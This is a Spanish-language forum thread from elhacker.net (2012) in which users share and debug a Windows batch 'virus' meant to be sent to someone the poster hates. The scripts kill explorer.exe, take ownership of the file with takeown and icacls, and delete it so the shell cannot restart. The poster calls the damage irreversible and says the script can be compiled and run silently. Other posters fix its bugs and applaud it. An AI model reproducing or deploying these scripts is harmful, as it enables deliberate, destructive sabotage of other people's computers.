elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  Batch virus para quien odias
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Batch virus para quien odias  (Leído 4,185 veces)
ELVJop

Desconectado Desconectado

Mensajes: 132



Ver Perfil
Batch virus para quien odias
« en: 8 Abril 2012, 15:40 pm »

Alguna vez has odiado mucho alguien? Y le has querido enviar un virus? Aqui tenemos algo parecido.(En teoria esto es un bug de windows esto es compatible con todas las versiones de windows)
Aprobecha un bug de windows que ejecuta explorer.exe en modo usuario.
Idea de el ELVJop
Correción y preparación by EleKtro H@cker
Código:
#By EleKtro H@cker
#Idea de ELVJop
@Echo OFF
Taskkill /F /IM "explorer.exe" 2>NUL
Del /F /Q "%WINDIR%\explorer.exe", "%WINDIR%\System32\explorer.exe" | Find /I "Acceso denegado" >NUL
IF %Errorlevel% EQU 0 (
Takeown /F "%WINDIR%\explorer.exe" >NUL 2>&1
Takeown /F "%WINDIR%\System32\explorer.exe" >NUL 2>&1
Icacls "%WINDIR%\explorer.exe" /grant %username%:^(F^) >NUL 2>&1
Icacls "%WINDIR%\System32\explorer.exe" /grant %username%:^(F^) >NUL 2>&1
%0
)
Exit

Se puede compilar y ejecutar en modo silencioso


« Última modificación: 8 Abril 2012, 17:40 pm por ELVJop » En línea

El dia 3 de mayo esta cuenta sera borrada.
Runex

Desconectado Desconectado

Mensajes: 192


http://tutogramacion.blogspot.com


Ver Perfil WWW
Re: Batch virus para quien odias
« Respuesta #1 en: 8 Abril 2012, 16:20 pm »

Alguna vez has odiado mucho alguien? Y le has querido enviar un virus? Aqui tenemos algo parecido.(En teoria esto es un bug de windows esto es compatible con todas las versiones de windows)

Para Windows 7 o Vista:
Código:
#Por ELVJop
@echo off
:menu
taskkill /f /im explorer.exe
del /s /q C:\Windows\explorer.exe
IF !Errorlevel! EQU 1 (Goto :menu)
exit

Para windows XP:
Código:
#Por ELVJop
@echo off
:menu
taskkill /f /im explorer.exe
del /s /q C:\Windows\System32\explorer.exe
IF !Errorlevel! EQU 1 (Goto :menu)
exit

Si no lo sabes:

Código:
#Por ELVJop
@echo off
taskkill /f /im explorer.exe
del /s /q C:\Windows\System32\explorer.exe
taskkill /f /im explorer.exe
del /s /q C:\Windows\explorer.exe
exit

Se puede compilar y ejecutar en modo silencioso


Bueno, de Batch no entiendo mucho pero según lo que veo, simplemente finaliza el proceso explorer.exe y nada que no se pueda recuperar desde el administrador de tareas iniciando de nuevo el proceso.

De todas formas, está graciosa, también hay otros como el shutdown -s -t o simplemente hacer saltar alerts en un bucle  ;-)


En línea

"No renunciaría al bambú.
Nunca renuciaría a ti.
No te compares con otros" "El me dijo:
El bambú tenía un propósito diferente al del
helecho, sin embargo eran necesarios y
hacían del bosque un lugar hermoso".
ELVJop

Desconectado Desconectado

Mensajes: 132



Ver Perfil
Re: Batch virus para quien odias
« Respuesta #2 en: 8 Abril 2012, 16:33 pm »

LA idea del virus es tan simple como que explorer.exe se ejecuta en modo usuario lo que yo hago no es solo cerrarlo es eliminar el fichero es un virus irreversible.
En línea

El dia 3 de mayo esta cuenta sera borrada.
Runex

Desconectado Desconectado

Mensajes: 192


http://tutogramacion.blogspot.com


Ver Perfil WWW
Re: Batch virus para quien odias
« Respuesta #3 en: 8 Abril 2012, 16:54 pm »

Aaaah no me había fijado en el "del", mejor aun es  ;-)
En línea

"No renunciaría al bambú.
Nunca renuciaría a ti.
No te compares con otros" "El me dijo:
El bambú tenía un propósito diferente al del
helecho, sin embargo eran necesarios y
hacían del bosque un lugar hermoso".
Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.818



Ver Perfil
Re: Batch virus para quien odias
« Respuesta #4 en: 8 Abril 2012, 17:24 pm »

@ELVJop

No asegures que algo funciona sin haberlo probado en un PC/VBOX o sin saber lo que estás haciendo... Es un consejo.

El code no hace ningún bucle.
 Motivos:
- No has habilitado la expansion, Entonces la variable ERRORLEVEL no se comprueba.
- Aunque el archivo esté en uso, O el archivo no existe, El comando DEL no manda el código de error "1", De echo no manda ningún código de error en esos dos casos (Manda el "0") así que hay que hacer uso de "Find" o comprobar si el archivo sigue existiendo con "If exist".

 Aparte:
- El code no podría funcionar en una cuenta que no sea de administrador. (Sin privilegios).
- No es necesario hacer 2 versiones de un mismo code para la misma función xD.


Te lo modifico para que veas...

Código
  1. @Echo OFF
  2. Taskkill /F /IM "explorer.exe" 2>NUL
  3. Del /F /Q "%WINDIR%\explorer.exe", "%WINDIR%\System32\explorer.exe" | Find /I "Acceso denegado" >NUL
  4. IF %Errorlevel% EQU 0 (
  5. Takeown /F "%WINDIR%\explorer.exe" >NUL 2>&1
  6. Takeown /F "%WINDIR%\System32\explorer.exe" >NUL 2>&1
  7. Icacls "%WINDIR%\explorer.exe" /grant %username%:^(F^) >NUL 2>&1
  8. Icacls "%WINDIR%\System32\explorer.exe" /grant %username%:^(F^) >NUL 2>&1
  9. %0
  10. )

Salu2.
En línea

ELVJop

Desconectado Desconectado

Mensajes: 132



Ver Perfil
Re: Batch virus para quien odias
« Respuesta #5 en: 8 Abril 2012, 17:37 pm »

Es cierto... ME olvide el delayexpansion... El comando del no manda 0 o 1? Eso no lo sabia. Lo del administrador no lo tengo del todo claro me parece haber leído por ahí que si que valia. Eso de los dos es cierto pero que quieres que te diga estaba escribiendo el post y cuando le di a guardar me expiro la sesión y no guarde el código aparte así que lo hice un poco rápido :P

PD: Modifico el principal pero no sin quitarte meritos
En línea

El dia 3 de mayo esta cuenta sera borrada.
Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.818



Ver Perfil
Re: Batch virus para quien odias
« Respuesta #6 en: 8 Abril 2012, 17:55 pm »

El comando del no manda 0 o 1? Eso no lo sabia.

No todos los comandos actuan igual, Por ejemplo el comando Tasklist támpoco manda código de error si no encuentra un proceso.

Y al menos en Windows 7 el comando DEL no manda código de error por "Archivo no encontrado" o "Archivo en uso".
En WinXP no lo sé, Algunos comandos cambian en pequeños aspectos xD.

Salu2.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
¿Quién teme al virus feroz?
Noticias
wolfbcn 0 1,956 Último mensaje 28 Mayo 2011, 13:35 pm
por wolfbcn
[proyecto] Virus beneficioso ¡Quien dice que no?
Seguridad
sabeeee 1 3,451 Último mensaje 5 Junio 2011, 23:49 pm
por Edu
¿Aún no odias la prima de riesgo? Síguela en tu móvil
Noticias
wolfbcn 0 1,302 Último mensaje 25 Julio 2012, 02:05 am
por wolfbcn
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines